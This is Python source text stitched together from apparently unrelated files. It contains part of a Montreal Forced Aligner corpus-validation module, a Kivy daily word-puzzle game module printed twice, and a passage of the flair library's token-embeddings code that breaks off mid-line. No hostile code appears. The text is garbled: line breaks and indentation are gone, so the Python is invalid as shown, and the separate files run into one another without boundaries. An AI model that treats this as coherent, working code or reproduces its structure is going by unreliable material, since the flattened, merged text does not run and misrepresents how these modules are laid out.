:class:`~montreal_forced_aligner.acoustic_modeling.trainer.TrainableAligner` For training configuration :class:`~montreal_forced_aligner.validation.corpus_validator.ValidationMixin` For validation parameters Attributes ---------- training_configs: dict[str, :class:`~montreal_forced_aligner.acoustic_modeling.monophone.MonophoneTrainer`] """ def __init__(self, **kwargs): super().__init__(**kwargs) self.training_configs = {} self.add_config("monophone", {}) @property def workflow_identifier(self) -> str: """Identifier for validation""" return "validate_training" @classmethod def parse_parameters( cls, config_path: Optional[str] = None, args: Optional[Namespace] = None, unknown_args: Optional[List[str]] = None, ) -> MetaDict: """ Parse parameters for validation from a config path or command-line arguments Parameters ---------- config_path: str Config path args: :class:`~argparse.Namespace` Command-line arguments from argparse unknown_args: list[str], optional Extra command-line arguments Returns ------- dict[str, Any] Configuration parameters """ global_params = {} training_params = [] use_default = True if config_path: data = load_configuration(config_path) for k, v in data.items(): if k == "training": for t in v: for k2, v2 in t.items(): if "features" in v2: global_params.update(v2["features"]) del v2["features"] training_params.append((k2, v2)) elif k == "features": if "type" in v: v["feature_type"] = v["type"] del v["type"] global_params.update(v) else: if v is None and k in cls.nullable_fields: v = [] global_params[k] = v if training_params: use_default = False if use_default: # default training configuration training_params.append(("monophone", {})) if training_params: if training_params[0][0] != "monophone": raise ConfigError("The first round of training must be monophone.") global_params["training_configuration"] = training_params global_params.update(cls.parse_args(args, unknown_args)) return global_params def setup(self): """ Set up the corpus and validator Raises ------ :class:`~montreal_forced_aligner.exceptions.KaldiProcessingError` If there were any errors in running Kaldi binaries """ if self.initialized: return try: all_begin = time.time() self.initialize_database() self.dictionary_setup() self.log_debug(f"Loaded dictionary in {time.time() - all_begin}") begin = time.time() self._load_corpus() self.log_debug(f"Loaded corpus in {time.time() - begin}") self.calculate_oovs_found() begin = time.time() self.write_lexicon_information() self.write_training_information() self.log_debug(f"Wrote lexicon information in {time.time() - begin}") if self.ignore_acoustics: self.log_info("Skipping acoustic feature generation") else: begin = time.time() self.initialize_jobs() self.log_debug(f"Initialized jobs in {time.time() - begin}") begin = time.time() self.create_corpus_split() self.log_debug(f"Created corpus split directory in {time.time() - begin}") if self.test_transcriptions: begin = time.time() self.write_lexicon_information(write_disambiguation=True) self.log_debug(f"Wrote lexicon information in {time.time() - begin}") begin = time.time() self.generate_features() self.log_debug(f"Generated features in {time.time() - begin}") if self.test_transcriptions: begin = time.time() self.initialize_utt_fsts() self.log_debug(f"Initialized utterance FSTs in {time.time() - begin}") begin = time.time() self.calculate_oovs_found() self.log_debug(f"Calculated OOVs in {time.time() - begin}") self.initialized = True except Exception as e: if isinstance(e, KaldiProcessingError): import logging logger = logging.getLogger(self.identifier) log_kaldi_errors(e.error_logs, logger) e.update_log_file(logger) raise def validate(self): """ Performs validation of the corpus """ begin = time.time() self.log_debug(f"Setup took {time.time() - begin}") self.setup() self.analyze_setup() self.log_debug(f"Setup took {time.time() - begin}") if self.ignore_acoustics: self.printer.print_info_lines("Skipping test alignments.") return self.printer.print_header("Training") self.train() if self.test_transcriptions: self.test_utterance_transcriptions() class PretrainedValidator(PretrainedAligner, ValidationMixin): """ Validator class for checking whether a corpus, a dictionary, and an acoustic model will work together for alignment See Also -------- :class:`~montreal_forced_aligner.alignment.pretrained.PretrainedAligner` For alignment configuration :class:`~montreal_forced_aligner.validation.corpus_validator.ValidationMixin` For validation parameters """ def __init__(self, **kwargs): super().__init__(**kwargs) @property def workflow_identifier(self) -> str: """Identifier for validation""" return "validate_pretrained" def setup(self): """ Set up the corpus and validator Raises ------ :class:`~montreal_forced_aligner.exceptions.KaldiProcessingError` If there were any errors in running Kaldi binaries """ if self.initialized: return try: self.dictionary_setup() self._load_corpus() self.calculate_oovs_found() if self.ignore_acoustics: self.log_info("Skipping acoustic feature generation") else: self.write_lexicon_information() self.initialize_jobs() self.create_corpus_split() if self.test_transcriptions: self.write_lexicon_information(write_disambiguation=True) self.generate_features() if self.test_transcriptions: self.initialize_utt_fsts() else: self.log_info("Skipping transcription testing") self.acoustic_model.validate(self) self.acoustic_model.export_model(self.working_directory) import logging logger = logging.getLogger(self.identifier) self.acoustic_model.log_details(logger) self.initialized = True self.log_info("Finished initializing!") except Exception as e: if isinstance(e, KaldiProcessingError): import logging logger = logging.getLogger(self.identifier) log_kaldi_errors(e.error_logs, logger) e.update_log_file(logger) raise def align(self) -> None: """ Validate alignment """ done_path = os.path.join(self.working_directory, "done") dirty_path = os.path.join(self.working_directory, "dirty") if os.path.exists(done_path): self.log_debug("Alignment already done, skipping.") return try: log_dir = os.path.join(self.working_directory, "log") os.makedirs(log_dir, exist_ok=True) self.compile_train_graphs() self.log_debug("Performing first-pass alignment...") self.speaker_independent = True self.align_utterances() if self.uses_speaker_adaptation: self.log_debug("Calculating fMLLR for speaker adaptation...") self.calc_fmllr() self.speaker_independent = False self.log_debug("Performing second-pass alignment...") self.align_utterances() except Exception as e: with open(dirty_path, "w"): pass if isinstance(e, KaldiProcessingError): import logging logger = logging.getLogger(self.identifier) log_kaldi_errors(e.error_logs, logger) e.update_log_file(logger) raise with open(done_path, "w"): pass def validate(self) -> None: """ Performs validation of the corpus """ self.setup() self.analyze_setup() self.analyze_missing_phones() if self.ignore_acoustics: self.log_info("Skipping test alignments.") return self.align() self.alignment_done = True self.compile_information() if self.test_transcriptions: self.test_utterance_transcriptions() self.transcription_done = True with self.session() as session: session.query(Corpus).update({"transcription_done": True}) session.commit() def analyze_missing_phones(self) -> None: """Analyzes dictionary and acoustic model for phones in the dictionary that don't have acoustic models""" self.printer.print_sub_header("Acoustic model compatibility") if self.excluded_pronunciation_count: self.printer.print_yellow_stat( len(self.excluded_phones), "phones not in acoustic model" ) self.printer.print_yellow_stat( self.excluded_pronunciation_count, "ignored pronunciations" ) phone_string = [self.printer.colorize(x, "red") for x in sorted(self.excluded_phones)] self.printer.print_info_lines( [ "", "Phones missing acoustic models:", "", self.printer.indent_string + comma_join(phone_string), ] ) else: self.printer.print_info_lines( f"There were {self.printer.colorize('no', 'green')} phones in the dictionary without acoustic models." ) self.printer.print_end_section()
import datetime import os from kivy.animation import Animation from kivy.app import App from kivy.clock import Clock from kivy.core.window import Window from kivy.logger import Logger from kivy.properties import BooleanProperty, ListProperty, NumericProperty, ObjectProperty, StringProperty from kivy.storage.jsonstore import JsonStore from kivy.uix.anchorlayout import AnchorLayout from kivy.uix.boxlayout import BoxLayout from kivy.uix.label import Label from kivy.uix.widget import Widget from kivy.uix.relativelayout import RelativeLayout from kivy.uix.screenmanager import Screen from kivy.utils import get_color_from_hex from plyer import vibrator from . import puzzle from jnius import autoclass PythonActivity = autoclass('org.renpy.android.PythonActivity') Intent = autoclass('android.content.Intent') String = autoclass('java.lang.String') class BackgroundColor(Widget): pass class GameOver(BoxLayout): game_over_text = StringProperty() time = StringProperty() found = NumericProperty() core_found = NumericProperty() core = NumericProperty() def __init__(self, **kwargs): super().__init__(**kwargs) Clock.schedule_once(self._finish_init) def _finish_init(self, dt): self.ids.game_over_label.text = self.game_over_text def share(self): share_text = ( f"I solved the ShiftType Daily Puzzle in {self.time} - " f"I found {self.found} words, and {self.core_found} of {self.core} core words!") intent = Intent() intent.setAction(Intent.ACTION_SEND) intent.putExtra(Intent.EXTRA_TEXT, String(share_text)) intent.setType('text/plain') chooser = Intent.createChooser(intent, String('Share...')) PythonActivity.mActivity.startActivity(chooser) class TsTile(Label, BackgroundColor): letter = StringProperty() used = BooleanProperty(defaultvalue=False) def __init__(self, **kwargs): super().__init__(**kwargs) Logger.debug(f"new tile: {self.letter}") def get_color(self, used, unused_color, used_color): if used: return get_color_from_hex(used_color) return get_color_from_hex(unused_color) class ReelSlider(BoxLayout): moving = False tile_height = 0 def __init__(self, **kwargs): super().__init__(**kwargs) def on_touch_down(self, touch): if self.collide_point(*touch.pos): self.moving = True def on_touch_up(self, touch): if self.moving: self.moving = False self.settle_down() def on_touch_move(self, touch): if self.moving: new_pos = self.y + touch.dy min_move = self.tile_height * .25 if new_pos > min_move: new_pos = min_move max_move = (self.tile_height * .75) - self.height if new_pos < max_move: new_pos = max_move self.y = new_pos def settle_down(self): Logger.debug(f"settle_down: {self.parent.letters}") self.tile_height = self.height / len(self.parent.letters) target_pos = self.tile_height * round(self.y / self.tile_height) anim = Animation(y=target_pos, duration=.1) anim.bind(on_complete=self._settled) anim.start(self) def _settled(self, anim=None, widget=None): self.parent.selected = len( self.parent.letters) - 1 - int(self.y / -self.tile_height) class Reel(RelativeLayout): letters = ListProperty() tiles = [] selected = NumericProperty(defaultvalue=0) def __init__(self, **kwargs): super().__init__(**kwargs) Logger.debug(f"new reel: {self.letters}") self.slider = ReelSlider() self.tiles = [TsTile(letter=letter) for letter in self.letters] for tile in self.tiles: self.slider.add_widget(tile) self.add_widget(self.slider) self.selected = len(self.letters) - 1 self.slider.settle_down() def use_selected(self): self.tiles[self.selected].used = True class GameScreen(Screen, BackgroundColor): reels = [] num_letters = NumericProperty(defaultvalue=5) num_core = NumericProperty(defaultvalue=4) running = BooleanProperty(defaultvalue=False) found_words = ListProperty() time = NumericProperty(defaultvalue=0) timer = None real_game = ObjectProperty(None) store = None game_over = None vibrate = False def __init__(self, **kwargs): super(GameScreen, self).__init__(**kwargs) Clock.schedule_once(self._finish_init) self.app = App.get_running_app() self.store = JsonStore(os.path.join( self.app.user_data_dir, 'st.json')) self.vibrate = self.app.config.getboolean('shifttype', 'vibrate') def _finish_init(self, dt): self.load() def reset(self, saved=None): self.time = 0 seed = None if saved: seed = saved['seed'] self.num_core = saved['num_core'] self.num_letters = saved['num_letters'] self.time = saved['time'] self.found_words = saved['found_words'] else: self.num_letters, self.num_core = puzzle.DIFFICULTY[ datetime.datetime.today().weekday()] self.time = 0 self.found_words = [] self.puzzle = puzzle.Puzzle( seed=seed, num_letters=self.num_letters, num_core=self.num_core) Logger.debug(f"core_words: {self.puzzle.core_words}") self._make_reels(self.puzzle.reels) if saved: for i, reel in enumerate(self.reels): for j, tile in enumerate(reel.tiles): tile.used = saved['reels'][i][j]['used'] if self.test_complete(): self.display_game_over() elif self.game_over: self.remove_widget(self.game_over) self.game_over = None def on_running(self, instance, value): Logger.debug(f"on_running: {value}") if value: self.timer = Clock.schedule_interval(self.update_time, 1) else: self.timer.cancel() def update_time(self, dt): self.time += 1 Logger.debug(f"timer: {self.time}") self.check_current_daily() def check_current_daily(self): if self.puzzle.seed[:10] != str(datetime.date.today()): Logger.debug('it is a new day, moving to new puzzle') self.reset() def _make_reels(self, reels): for reel in self.reels: self.real_game.remove_widget(reel) self.reels = [Reel(letters=reel) for reel in reels] for reel in self.reels: reel.bind(selected=self._selected) self.real_game.add_widget(reel) def _selected(self, instance, value): if self.running: if self.vibrate: vibrator.vibrate(.01) word = '' for reel in self.reels: word += reel.letters[reel.selected] if self.puzzle.test_word(word): Logger.debug(f"found: {word}") if word not in self.found_words: self.found_words.append(word) Logger.debug(f"total found: {self.found_words}") for reel in self.reels: reel.use_selected() Logger.debug(f"finished: {self.test_complete()}") if self.test_complete(): self.display_game_over() def run_if_incomplete(self): self.check_current_daily() self.running = not self.test_complete() def display_game_over(self): self.running = False t = str(datetime.timedelta(seconds=self.time)) game_over_text = ("[size=36sp][b]Well done![/b][/size]\n\n" f"You found {len(self.found_words)} words:\n\n" f"{", ".join(sorted(self.found_words))}" f"\n\nIt took you {t}!\n\n" f"Today's core words were:\n\n" f"{", ".join(self._format_core_words())}") core_found = len( set(self.puzzle.core_words).intersection(self.found_words)) if self.game_over: self.remove_widget(self.game_over) self.game_over = GameOver( game_over_text=game_over_text, time=t, found=len( self.found_words), core=self.num_core, core_found=core_found) self.add_widget(self.game_over) def _format_core_words(self): return [ f"[color=#00ff00]{w}[/color]" if w in self.found_words else w for w in self.puzzle.core_words] def test_complete(self): for reel in self.reels: for tile in reel.tiles: if not tile.used: return False return True def save(self): Logger.debug('save game') saved = {} saved['found_words'] = list(self.found_words) saved['num_core'] = self.num_core saved['num_letters'] = self.num_letters saved['time'] = self.time saved['seed'] = self.puzzle.seed saved['reels'] = [] for i, reel in enumerate(self.reels): saved['reels'].append([]) for tile in reel.tiles: saved['reels'][i].append( {'letter': tile.letter, 'used': tile.used}) self.store['daily'] = saved Logger.debug(saved) def load(self): Logger.debug('load game') saved = None if 'daily' in self.store: saved = self.store.get('daily') if saved['seed'][:10] != str(datetime.date.today()): saved = None Logger.debug('ignored daily saved data is not from today') Logger.debug(saved) self.reset(saved=saved)
import datetime import os from kivy.animation import Animation from kivy.app import App from kivy.clock import Clock from kivy.core.window import Window from kivy.logger import Logger from kivy.properties import BooleanProperty, ListProperty, NumericProperty, ObjectProperty, StringProperty from kivy.storage.jsonstore import JsonStore from kivy.uix.anchorlayout import AnchorLayout from kivy.uix.boxlayout import BoxLayout from kivy.uix.label import Label from kivy.uix.widget import Widget from kivy.uix.relativelayout import RelativeLayout from kivy.uix.screenmanager import Screen from kivy.utils import get_color_from_hex from plyer import vibrator from . import puzzle from jnius import autoclass PythonActivity = autoclass('org.renpy.android.PythonActivity') Intent = autoclass('android.content.Intent') String = autoclass('java.lang.String') class BackgroundColor(Widget): pass class GameOver(BoxLayout): game_over_text = StringProperty() time = StringProperty() found = NumericProperty() core_found = NumericProperty() core = NumericProperty() def __init__(self, **kwargs): super().__init__(**kwargs) Clock.schedule_once(self._finish_init) def _finish_init(self, dt): self.ids.game_over_label.text = self.game_over_text def share(self): share_text = ( f"I solved the ShiftType Daily Puzzle in {self.time} - " f"I found {self.found} words, and {self.core_found} of {self.core} core words!") intent = Intent() intent.setAction(Intent.ACTION_SEND) intent.putExtra(Intent.EXTRA_TEXT, String(share_text)) intent.setType('text/plain') chooser = Intent.createChooser(intent, String('Share...')) PythonActivity.mActivity.startActivity(chooser) class TsTile(Label, BackgroundColor): letter = StringProperty() used = BooleanProperty(defaultvalue=False) def __init__(self, **kwargs): super().__init__(**kwargs) Logger.debug(f"new tile: {self.letter}") def get_color(self, used, unused_color, used_color): if used: return get_color_from_hex(used_color) return get_color_from_hex(unused_color) class ReelSlider(BoxLayout): moving = False tile_height = 0 def __init__(self, **kwargs): super().__init__(**kwargs) def on_touch_down(self, touch): if self.collide_point(*touch.pos): self.moving = True def on_touch_up(self, touch): if self.moving: self.moving = False self.settle_down() def on_touch_move(self, touch): if self.moving: new_pos = self.y + touch.dy min_move = self.tile_height * .25 if new_pos > min_move: new_pos = min_move max_move = (self.tile_height * .75) - self.height if new_pos < max_move: new_pos = max_move self.y = new_pos def settle_down(self): Logger.debug(f"settle_down: {self.parent.letters}") self.tile_height = self.height / len(self.parent.letters) target_pos = self.tile_height * round(self.y / self.tile_height) anim = Animation(y=target_pos, duration=.1) anim.bind(on_complete=self._settled) anim.start(self) def _settled(self, anim=None, widget=None): self.parent.selected = len( self.parent.letters) - 1 - int(self.y / -self.tile_height) class Reel(RelativeLayout): letters = ListProperty() tiles = [] selected = NumericProperty(defaultvalue=0) def __init__(self, **kwargs): super().__init__(**kwargs) Logger.debug(f"new reel: {self.letters}") self.slider = ReelSlider() self.tiles = [TsTile(letter=letter) for letter in self.letters] for tile in self.tiles: self.slider.add_widget(tile) self.add_widget(self.slider) self.selected = len(self.letters) - 1 self.slider.settle_down() def use_selected(self): self.tiles[self.selected].used = True class GameScreen(Screen, BackgroundColor): reels = [] num_letters = NumericProperty(defaultvalue=5) num_core = NumericProperty(defaultvalue=4) running = BooleanProperty(defaultvalue=False) found_words = ListProperty() time = NumericProperty(defaultvalue=0) timer = None real_game = ObjectProperty(None) store = None game_over = None vibrate = False def __init__(self, **kwargs): super(GameScreen, self).__init__(**kwargs) Clock.schedule_once(self._finish_init) self.app = App.get_running_app() self.store = JsonStore(os.path.join( self.app.user_data_dir, 'st.json')) self.vibrate = self.app.config.getboolean('shifttype', 'vibrate') def _finish_init(self, dt): self.load() def reset(self, saved=None): self.time = 0 seed = None if saved: seed = saved['seed'] self.num_core = saved['num_core'] self.num_letters = saved['num_letters'] self.time = saved['time'] self.found_words = saved['found_words'] else: self.num_letters, self.num_core = puzzle.DIFFICULTY[ datetime.datetime.today().weekday()] self.time = 0 self.found_words = [] self.puzzle = puzzle.Puzzle( seed=seed, num_letters=self.num_letters, num_core=self.num_core) Logger.debug(f"core_words: {self.puzzle.core_words}") self._make_reels(self.puzzle.reels) if saved: for i, reel in enumerate(self.reels): for j, tile in enumerate(reel.tiles): tile.used = saved['reels'][i][j]['used'] if self.test_complete(): self.display_game_over() elif self.game_over: self.remove_widget(self.game_over) self.game_over = None def on_running(self, instance, value): Logger.debug(f"on_running: {value}") if value: self.timer = Clock.schedule_interval(self.update_time, 1) else: self.timer.cancel() def update_time(self, dt): self.time += 1 Logger.debug(f"timer: {self.time}") self.check_current_daily() def check_current_daily(self): if self.puzzle.seed[:10] != str(datetime.date.today()): Logger.debug('it is a new day, moving to new puzzle') self.reset() def _make_reels(self, reels): for reel in self.reels: self.real_game.remove_widget(reel) self.reels = [Reel(letters=reel) for reel in reels] for reel in self.reels: reel.bind(selected=self._selected) self.real_game.add_widget(reel) def _selected(self, instance, value): if self.running: if self.vibrate: vibrator.vibrate(.01) word = '' for reel in self.reels: word += reel.letters[reel.selected] if self.puzzle.test_word(word): Logger.debug(f"found: {word}") if word not in self.found_words: self.found_words.append(word) Logger.debug(f"total found: {self.found_words}") for reel in self.reels: reel.use_selected() Logger.debug(f"finished: {self.test_complete()}") if self.test_complete(): self.display_game_over() def run_if_incomplete(self): self.check_current_daily() self.running = not self.test_complete() def display_game_over(self): self.running = False t = str(datetime.timedelta(seconds=self.time)) game_over_text = ("[size=36sp][b]Well done![/b][/size]\n\n" f"You found {len(self.found_words)} words:\n\n" f"{', '.join(sorted(self.found_words))}" f"\n\nIt took you {t}!\n\n" f"Today's core words were:\n\n" f"{', '.join(self._format_core_words())}") core_found = len( set(self.puzzle.core_words).intersection(self.found_words)) if self.game_over: self.remove_widget(self.game_over) self.game_over = GameOver( game_over_text=game_over_text, time=t, found=len( self.found_words), core=self.num_core, core_found=core_found) self.add_widget(self.game_over) def _format_core_words(self): return [ f"[color=#00ff00]{w}[/color]" if w in self.found_words else w for w in self.puzzle.core_words] def test_complete(self): for reel in self.reels: for tile in reel.tiles: if not tile.used: return False return True def save(self): Logger.debug('save game') saved = {} saved['found_words'] = list(self.found_words) saved['num_core'] = self.num_core saved['num_letters'] = self.num_letters saved['time'] = self.time saved['seed'] = self.puzzle.seed saved['reels'] = [] for i, reel in enumerate(self.reels): saved['reels'].append([]) for tile in reel.tiles: saved['reels'][i].append( {'letter': tile.letter, 'used': tile.used}) self.store['daily'] = saved Logger.debug(saved) def load(self): Logger.debug('load game') saved = None if 'daily' in self.store: saved = self.store.get('daily') if saved['seed'][:10] != str(datetime.date.today()): saved = None Logger.debug('ignored daily saved data is not from today') Logger.debug(saved) self.reset(saved=saved)
import hashlib import inspect import logging import os import re from abc import abstractmethod from collections import Counter from pathlib import Path from typing import List, Union, Dict, Optional import gensim import numpy as np import torch from bpemb import BPEmb from torch import nn from transformers import AutoTokenizer, AutoConfig, AutoModel, CONFIG_MAPPING, PreTrainedTokenizer, XLNetModel, \ TransfoXLModel import flair from flair.data import Sentence, Token, Corpus, Dictionary from flair.embeddings.base import Embeddings from flair.file_utils import cached_path, open_inside_zip, instance_lru_cache log = logging.getLogger("flair") class TokenEmbeddings(Embeddings): """Abstract base class for all token-level embeddings. Ever new type of word embedding must implement these methods.""" @property @abstractmethod def embedding_length(self) -> int: """Returns the length of the embedding vector.""" pass @property def embedding_type(self) -> str: return "word-level" @staticmethod def get_instance_parameters(locals: dict) -> dict: class_definition = locals.get("__class__") instance_parameters = set(inspect.getfullargspec(class_definition.__init__).args) instance_parameters.difference_update(set(["self"])) instance_parameters.update(set(["__class__"])) instance_parameters = {class_attribute: attribute_value for class_attribute, attribute_value in locals.items() if class_attribute in instance_parameters} return instance_parameters class StackedEmbeddings(TokenEmbeddings): """A stack of embeddings, used if you need to combine several different embedding types.""" def __init__(self, embeddings: List[TokenEmbeddings]): """The constructor takes a list of embeddings to be combined.""" super().__init__() self.embeddings = embeddings # IMPORTANT: add embeddings as torch modules for i, embedding in enumerate(embeddings): embedding.name = f"{str(i)}-{embedding.name}" self.add_module(f"list_embedding_{str(i)}", embedding) self.name: str = "Stack" self.static_embeddings: bool = True self.__embedding_type: str = embeddings[0].embedding_type self.__embedding_length: int = 0 for embedding in embeddings: self.__embedding_length += embedding.embedding_length def embed( self, sentences: Union[Sentence, List[Sentence]], static_embeddings: bool = True ): # if only one sentence is passed, convert to list of sentence if type(sentences) is Sentence: sentences = [sentences] for embedding in self.embeddings: embedding.embed(sentences) @property def embedding_type(self) -> str: return self.__embedding_type @property def embedding_length(self) -> int: return self.__embedding_length def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: for embedding in self.embeddings: embedding._add_embeddings_internal(sentences) return sentences def __str__(self): return f'StackedEmbeddings [{','.join([str(e) for e in self.embeddings])}]' def get_names(self) -> List[str]: """Returns a list of embedding names. In most cases, it is just a list with one item, namely the name of this embedding. But in some cases, the embedding is made up by different embeddings (StackedEmbedding). Then, the list contains the names of all embeddings in the stack.""" names = [] for embedding in self.embeddings: names.extend(embedding.get_names()) return names def get_named_embeddings_dict(self) -> Dict: named_embeddings_dict = {} for embedding in self.embeddings: named_embeddings_dict.update(embedding.get_named_embeddings_dict()) return named_embeddings_dict class WordEmbeddings(TokenEmbeddings): """Standard static word embeddings, such as GloVe or FastText.""" def __init__(self, embeddings: str, field: str = None, fine_tune: bool = False, force_cpu: bool = True, stable: bool = False): """ Initializes classic word embeddings. Constructor downloads required files if not there. :param embeddings: one of: 'glove', 'extvec', 'crawl' or two-letter language code or custom If you want to use a custom embedding file, just pass the path to the embeddings as embeddings variable. set stable=True to use the stable embeddings as described in https://arxiv.org/abs/2110.02861 """ self.embeddings = embeddings self.instance_parameters = self.get_instance_parameters(locals=locals()) if fine_tune and force_cpu and flair.device.type != "cpu": raise ValueError("Cannot train WordEmbeddings on cpu if the model is trained on gpu, set force_cpu=False") hu_path: str = "https://flair.informatik.hu-berlin.de/resources/embeddings/token" cache_dir = Path("embeddings") # GLOVE embeddings if embeddings.lower() == "glove" or embeddings.lower() == "en-glove": cached_path(f"{hu_path}/glove.gensim.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/glove.gensim", cache_dir=cache_dir) # TURIAN embeddings elif embeddings.lower() == "turian" or embeddings.lower() == "en-turian": cached_path(f"{hu_path}/turian.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/turian", cache_dir=cache_dir) # KOMNINOS embeddings elif embeddings.lower() == "extvec" or embeddings.lower() == "en-extvec": cached_path(f"{hu_path}/extvec.gensim.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/extvec.gensim", cache_dir=cache_dir) # pubmed embeddings elif embeddings.lower() == "pubmed" or embeddings.lower() == "en-pubmed": cached_path(f"{hu_path}/pubmed_pmc_wiki_sg_1M.gensim.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/pubmed_pmc_wiki_sg_1M.gensim", cache_dir=cache_dir) # FT-CRAWL embeddings elif embeddings.lower() == "crawl" or embeddings.lower() == "en-crawl": cached_path(f"{hu_path}/en-fasttext-crawl-300d-1M.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/en-fasttext-crawl-300d-1M", cache_dir=cache_dir) # FT-CRAWL embeddings elif embeddings.lower() in ["news", "en-news", "en"]: cached_path(f"{hu_path}/en-fasttext-news-300d-1M.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/en-fasttext-news-300d-1M", cache_dir=cache_dir) # twitter embeddings elif embeddings.lower() in ["twitter", "en-twitter"]: cached_path(f"{hu_path}/twitter.gensim.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/twitter.gensim", cache_dir=cache_dir) # two-letter language code wiki embeddings elif len(embeddings.lower()) == 2: cached_path(f"{hu_path}/{embeddings}-wiki-fasttext-300d-1M.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/{embeddings}-wiki-fasttext-300d-1M", cache_dir=cache_dir) # two-letter language code wiki embeddings elif len(embeddings.lower()) == 7 and embeddings.endswith("-wiki"): cached_path(f"{hu_path}/{embeddings[:2]}-wiki-fasttext-300d-1M.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/{embeddings[:2]}-wiki-fasttext-300d-1M", cache_dir=cache_dir) # two-letter language code crawl embeddings elif len(embeddings.lower()) == 8 and embeddings.endswith("-crawl"): cached_path(f"{hu_path}/{embeddings[:2]}-crawl-fasttext-300d-1M.vectors.npy", cache_dir=cache_dir) embeddings = cached_path(f"{hu_path}/{embeddings[:2]}-crawl-fasttext-300d-1M", cache_dir=cache_dir) elif not Path(embeddings).exists(): raise ValueError( f'The given embeddings "{embeddings}" is not available or is not a valid path.' ) self.name: str = str(embeddings) self.static_embeddings = not fine_tune self.fine_tune = fine_tune self.force_cpu = force_cpu self.field = field self.stable = stable super().__init__() if str(embeddings).endswith(".bin"): precomputed_word_embeddings = gensim.models.KeyedVectors.load_word2vec_format( str(embeddings), binary=True ) else: precomputed_word_embeddings = gensim.models.KeyedVectors.load( str(embeddings) ) self.__embedding_length: int = precomputed_word_embeddings.vector_size vectors = np.row_stack( (precomputed_word_embeddings.vectors, np.zeros(self.__embedding_length, dtype="float")) ) self.embedding = nn.Embedding.from_pretrained(torch.FloatTensor(vectors), freeze=not fine_tune) self.vocab = { k: v.index for k, v in precomputed_word_embeddings.vocab.items() } if stable: self.layer_norm = nn.LayerNorm(self.__embedding_length, elementwise_affine=fine_tune) else: self.layer_norm = None self.device = None self.to(flair.device) @property def embedding_length(self) -> int: return self.__embedding_length @instance_lru_cache(maxsize=100000, typed=False) def get_cached_token_index(self, word: str) -> int: if word in self.vocab: return self.vocab[word] elif word.lower() in self.vocab: return self.vocab[word.lower()] elif re.sub(r"\d", "#", word.lower()) in self.vocab: return self.vocab[ re.sub(r"\d", "#", word.lower()) ] elif re.sub(r"\d", "0", word.lower()) in self.vocab: return self.vocab[ re.sub(r"\d", "0", word.lower()) ] else: return len(self.vocab) # <unk> token def get_vec(self, word: str) -> torch.Tensor: word_embedding = self.vectors[self.get_cached_token_index(word)] word_embedding = torch.tensor( word_embedding.tolist(), device=flair.device, dtype=torch.float ) return word_embedding def _add_embeddings_internal(self, sentences: List[Sentence]) -> List[Sentence]: tokens = [token for sentence in sentences for token in sentence.tokens] word_indices: List[int] = [] for token in tokens: if "field" not in self.__dict__ or self.field is None: word = token.text else: word = token.get_tag(self.field).value word_indices.append(self.get_cached_token_index(word)) embeddings = self.embedding(torch.tensor(word_indices, dtype=torch.long, device=self.device)) if self.stable: embeddings = self.layer_norm(embeddings) if self.force_cpu: embeddings = embeddings.to(flair.device) for emb, token in zip(embeddings, tokens): token.set_embedding(self.name, emb) return sentences def __str__(self): return self.name def extra_repr(self): # fix serialized models if "embeddings" not in self.__dict__: self.embeddings = self.name return f"'{self.embeddings}'" def train(self, mode=True): if not self.fine_tune: pass else: super(WordEmbeddings, self).train(mode) def to(self, device): if self.force_cpu: device = torch.device("cpu") self.device = device super(WordEmbeddings, self).to(device) def _apply(self, fn): if fn.__name__ == "convert" and self.force_cpu: # this is required to force the module on the cpu, # if a parent module is put to gpu, the _apply is called to each sub_module # self.to(..) actually sets the device properly if not hasattr(self, "device"): self.to(flair.device) return super(WordEmbeddings, self)._apply(fn) def __getattribute__(self, item): # this ignores the get_cached_vec method when loading older versions # it is needed for compatibility reasons if "get_cached_vec" == item: return None return super().__getattribute__(item) def __setstate__(self, state): if "get_cached_vec" in state: del state["get_cached_vec"] if "force_cpu" not in state: state["force_cpu"] = True if "fine_tune" not in state: state["fine_tune"] = False if "precomputed_word_embeddings" in state: precomputed_word_embeddings = state.pop("precomputed_word_embeddings") vectors = np.row_stack( (precomputed_word_embeddings.vectors, np.zeros(precomputed_word_embeddings.vector_size, dtype="float")) ) embedding = nn.Embedding.from_pretrained(torch.FloatTensor(vectors), freeze=not state["fine_tune"]) vocab = { k: v.index for k, v in precomputed_word_embeddings.vocab.items() } state["embedding"] = embedding state["vocab"] = vocab if "stable" not in state: state["stable"] = False state["layer_norm"] = None super().__setstate__(state) class CharacterEmbeddings(TokenEmbeddings): """Character embeddings of words, as proposed in Lample et al., 2016.""" def __init__( self, path_to_char_dict: str = None, char_embedding_dim: int = 25, hidden_size_char: int = 25, ): """Uses the default character dictionary if none provided.""" super().__init__() self.name = "Char" self.static_embeddings = False self.instance_parameters = self.get_instance_parameters(locals=locals()) # use list of common characters if none provided if path_to_char_dict is None: self.char_dictionary: Dictionary = Dictionary.load("common-chars") else: self.char_dictionary: Dictionary = Dictionary.load_from_file(path_to_char_dict) self.char_embedding_dim: int = char_embedding_dim self.hidden_size_char: int = hidden_size_char self.char_embedding = torch.nn.Embedding( len(self.char_dictionary.item2idx), self.char_embedding_dim ) self.char_rnn = torch.nn.LSTM( self.char_embedding_dim, self.hidden_size_char, num_layers=1, bidirectional=True, ) self.__embedding_length = self.hidden_size_char * 2 self.to(flair.device) @property def embedding_length(self) -> int: return self.__embedding_length def _add_embeddings_internal(self, sentences: List[Sentence]): for sentence in sentences: tokens_char_indices = [] # translate words in sentence into ints using dictionary for token in sentence.tokens: char_indices = [ self.char_dictionary.get_idx_for_item(char) for char in token.text ] tokens_char_indices.append(char_indices) # sort words by length, for batching and masking tokens_sorted_by_length = sorted( tokens_char_indices, key=lambda p: len(p), reverse=True ) d = {} for i, ci in enumerate(tokens_char_indices): for j, cj in enumerate(tokens_sorted_by_length): if ci == cj: d[j] = i continue chars2_length = [len(c) for c in tokens_sorted_by_length] longest_token_in_sentence = 